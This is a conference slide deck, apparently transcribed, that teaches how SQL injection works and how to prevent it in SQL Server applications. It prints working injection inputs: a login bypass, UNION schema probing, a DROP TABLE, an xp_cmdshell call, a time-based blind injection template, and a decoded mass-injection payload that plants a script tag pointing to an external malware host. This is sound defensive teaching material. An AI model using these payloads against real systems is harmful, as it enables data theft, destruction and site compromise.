Understanding and preventing sql injection attacks

SQLintersection Understanding & Preventing SQL Injection Attacks Kevin Kline kkline@sqlsentry.com SQL123

Overview  What is SQL Injection?  An Attacker’s Approach  SQL Injection Techniques  Preventing SQL Injection  Security Best Practices & Tips  Useful Links and Resources

Freebies!  Free new ebooks (regularly $10) to all requests to sales@sqlsentry.com:

Like This… Courtesy of http://xkcd.com/327/

What is SQL Injection?  SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement  DEMO

Who is Vulnerable?  All SQL database platforms are susceptible  Bypasses firewall and network-based protections  Applications that dynamically build and send SQL strings are most vulnerable:  Exploits the inexperienced developer  Amplified by silos in IT teams  SQL statement itself is hacked  Formatting vulnerabilities

© SQLintersection. All rights reserved. http://www.SQLintersection.com Typical Webcode… string cmdStr = @"SELECT order_id, order_date, qty FROM Production.Orders WHERE customer_name LIKE '%" + SearchText.Text + "%'"; using (SqlConnection conn = new SqlConnection(connStr)) using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn)) { DataTable dtOrders = new DataTable(); sda.Fill(dtOrders); return dtOrders.DefaultView; }

10 Injected Values Can Range from Bad… The “Good” search text: 'Hanso Foundation' The “Curious” search text: 'Widmore Industries' or 1=1 -- ‘ The “Exploratory” search text: …ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --

11 …To Worse The Ugly search text: …ZZZ'; DROP TABLE customer_credit_card -- The REALLY UGLY search text: …ZZZ'; xp_cmdshell(‘FTP …’)

Attack Methodology Reconnaissance (Recon) Scan for Vulnerabilities / Access (Scan) Gain Access (Crack) Escalate Privileges (Enhance) Maintain/Expand Access (Expand) Cover Tracks (Hide)

Attackers…  …understand the concept of ‘surface area’  …use error messages to learn about the structure of the underlying SQL statements and database  …exploit SQL formatting characters (single quotes, comment notation (-- ), semi-colons, etc)

Then Attackers…  …manipulate the SQL statements to learn about the structure of the database and data  …execute SQL statements at will  …use built-in trap doors inside of the DBMS to go to the next level  Upload their own files, even replacing your own  Examine the rest of your infrastructure  Download data  Launch malware and bots

SQL Injection Techniques  Probe databases, especially packaged apps  Bypass authorization  Cross-database and cross-server calls  Execute multiple SQL statements  Call built-in stored procedures  Exit to the OS for command-line access  Insert code to be used by the web app  Swap DLL and other files for their own

Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Unclosed quotation mark before the character string ′having 1 = 1--′. /Project1/MyDemoApp.exe, line 14 Probing Databases  Web apps usually return connectivity error information – unless you trap the errors!  Hackers can use this information and continually modify parameters to discover:  Table names, column names, data types, row values

17 Bypassing Authorization Good Guy, passes these values - UserID: administrator Password: GoodOne SELECT * FROM users WHERE username = ‘administrator’ AND password = ‘GoodOne’; Bad Guy, passes this value - UserID: ‘ OR 1=1 Password -- SELECT * FROM users WHERE username = ‘’ OR 1=1 – and password =

18 INSERT Statement Injections Good Guy INSERT INTO Authors (auName, EmailAddress) VALUES (‘Julian Isla’, ‘juliani@hotmail.com) Bad Guy INSER INTO Authors (auName, EmailAddress) VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’, badguy@hacker.com’); EXEC xp_regread HKEY… ; Very Bad Guy, uses scripting and text/xml fields

Blind SQL Injection  Good apps trap default errors and show their own. Hackers flank this with:  Normal Blind: Get response data from error codes, severity levels, and HTTP status codes  Totally Blind: Gather data through IF…THEN testing, response times, logging, and system functions.

© SQLintersection. All rights reserved. http://www.SQLintersection.com Blind Injection Example, #1 DECLARE @x as int; DECLARE @w as char(6); SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QU ERY} as varbinary(8000))),{POSITION},1)); IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*{SECONDS} as char); WAITFOR DELAY @w 2

© SQLintersection. All rights reserved. http://www.SQLintersection.com Cast Injection Example, #1 URL query string: DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(400 0));EXEC(@S);-- Decoded: DECLARE @S NVARCHAR(4000); SET @S= CAST(0x440045004300...7200 AS NVARCHAR(4000)); EXEC(@S);-- SELECT CAST('this could be bad code' AS VARBINARY(256)) SELECT CAST(0x7468697320636F756C6420626520736F6D652062616420636F6465 AS VARCHAR(256))

© SQLintersection. All rights reserved. http://www.SQLintersection.com Cast Injection Example, #2 Final SQL code being executed (hex value decoded): DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.211796*.net/f****p.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Attack Vector To Other Resources  Attackers have chosen not to go after data  Targets have been legitimate web sites  Plant links and redirects to malware sites  Use of a blended attack (browser vulnerability) to infect the client computer  Take control of client computers

© SQLintersection. All rights reserved. http://www.SQLintersection.com Simple Rules Applied Logically Server - Make sure data and log files are on NTFS with proper ACLs applied. - Disable any service that is unneeded and unused (e.g. SQL Browser service, unneeded network protocols); Consider Windows Core - Use Windows Authentication where feasible.. Database - Enable ‘Non-sysadmin job step proxy account’ on SQL Server Agent. - Restrict system stored proc’s and XP’s to SA-only - Remove guest from all but master and tempdb - Provision by role, not user - Demand security savvy third-party applications! Accounts - Noone gets SA, except SA. - Separate accounts for SQL Server and SQL Agent services. - Don’t use local service account for services. SQL Code - Input validation: Black list vs white list - Use stored procedure to hide application logic. No default error messages. No direct access to tables - Use parameterized input, not string concatenation - Multi layered input checking: application, stored procedure, database schema

Monitoring for SQL Injection  Monitor failed login attempts. Alert when they’re frequent.  Check for null and weak passwords frequently within your apps. SQLPing tool is great for this.  Check for non-SA permissions on all system SPs and XPs  Microsoft Assessment and Planning (MAP) is a great tool to research your total estate, available at http://www.Microsoft.com/MAP.  Xevent or Trace for non-SA execution of: • Execute at command prompt ( xp_cmdshell ) • Registry read and write operations (xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring, xp_regwrite) • Checking Services ( xp_servicecontrol ) • Visual media in the system ( xp_availablemedia ) • Directory Tree to get URL ( xp_dirtree ) • ODBC resourcer Listing ( xp_enumdsn ) • Log in to find a modem ( xp_loginconfig ) • Cabin Archive Creation ( xp_makecab ) • Finding Domain ( xp_ntsec_enumdomains ) • To terminate the process PID ( xp_terminate_process ) • Add new stored extended procedures ( sp_addextendedproc ) Stored Procedure Delete (sp_dropextendedproc) • UNC files including writing out (sp_makewebtask)

Summary  Do NOT Trust User Input.  Remember the principle of “Least Privilege”.  Defense in Depth: Middle tier  App  Database  SQL Code  Fail Intelligently: Filter default error messages and limit the information in custom error messages.  Minimize the “attack surface”: Remove unused stored procedures, views, and UDFs. Use views and stored procedures instead of base tables.  Use Parameterized Queries or Stored Procedures: Do NOT use string concatenations to build SQL queries.  Test Security!

Resources  http://www.sqlsecurity.com – my favorite for broad security and tools on SQL Server  Microsoft SQL Injection white paper at http://msdn.microsoft.com/en- us/library/ms161953.aspx  How-to: Prevent SQL Injection on ASP.Net http://msdn.microsoft.com/en-us/library/ms998271.aspx  A Dutch research paper (in English) discussing platform independent ways to defend against SQL injections: http://swerl.tudelft.nl/twiki/pub/Main/TechnicalReports/TUD-SERG- 2007-003.pdf  SQL Injection Cheat Sheet: http://ferruh.mavituna.com/sql-injection- cheatsheet-oku/

Don’t forget to complete an online evaluation on EventBoard! Your evaluation helps organizers build better conferences and helps speakers improve their sessions. Questions? Thank you! Understanding & Preventing SQL Injection Attacks Kevin Kline, @KEKline, kkline@sqlsentry.com

Understanding and preventing sql injection attacks

More Related Content

What's hot

Viewers also liked

Similar to Understanding and preventing sql injection attacks

Recently uploaded

Understanding and preventing sql injection attacks